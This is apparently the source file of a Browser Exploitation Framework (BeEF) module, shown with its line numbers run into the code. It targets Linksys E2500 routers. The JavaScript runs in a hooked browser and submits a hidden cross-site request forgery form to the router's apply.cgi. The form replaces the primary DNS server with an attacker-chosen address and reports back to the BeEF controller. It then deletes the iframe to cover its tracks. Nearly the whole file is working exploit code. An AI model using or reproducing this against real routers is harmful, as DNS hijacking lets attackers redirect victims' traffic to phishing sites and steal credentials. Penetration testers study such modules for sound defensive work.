Path: blob/master/modules/exploits/router/linksys_e2500_dns_hijack/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// config9var target = 'http://<%= @rhost %>/apply.cgi';10var dns1 = '<%= @dns1 %>';11var timeout = 15;1213// validate primary DNS server IP address14if (!beef.net.is_valid_ip(dns1)) {15beef.debug('Invalid Primary DNS server IP address was provided');16beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");17return;18}19var parts = dns1.split('.');2021// change DNS22var linksys_e2500_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [23{'type':'hidden', 'name':'submit_button', 'value': 'index'},24{'type':'hidden', 'name':'change_action', 'value': ''},25{'type':'hidden', 'name':'submit_type', 'value': ''},26{'type':'hidden', 'name':'action', 'value': 'Apply'},27{'type':'hidden', 'name':'wan_dns', 'value': '4'},28{'type':'hidden', 'name':'wan_dns0_0', 'value': parts[0]},29{'type':'hidden', 'name':'wan_dns0_1', 'value': parts[1]},30{'type':'hidden', 'name':'wan_dns0_2', 'value': parts[2]},31{'type':'hidden', 'name':'wan_dns0_3', 'value': parts[3]},32{'type':'hidden', 'name':'wan_dns1_0', 'value': '0'},33{'type':'hidden', 'name':'wan_dns1_1', 'value': '0'},34{'type':'hidden', 'name':'wan_dns1_2', 'value': '0'},35{'type':'hidden', 'name':'wan_dns1_3', 'value': '0'},36{'type':'hidden', 'name':'wan_dns2_0', 'value': '0'},37{'type':'hidden', 'name':'wan_dns2_1', 'value': '0'},38{'type':'hidden', 'name':'wan_dns2_2', 'value': '0'},39{'type':'hidden', 'name':'wan_dns2_3', 'value': '0'},40{'type':'hidden', 'name':'wan_wins', 'value': '4'},41{'type':'hidden', 'name':'wan_wins_0', 'value': '0'},42{'type':'hidden', 'name':'wan_wins_1', 'value': '0'},43{'type':'hidden', 'name':'wan_wins_2', 'value': '0'},44{'type':'hidden', 'name':'wan_wins_3', 'value': '0'},4546]);4748beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");4950// clean up51cleanup = function() {52document.body.removeChild(linksys_e2500_iframe_<%= @command_id %>);53}54setTimeout("cleanup()", timeout*1000);5556});57585960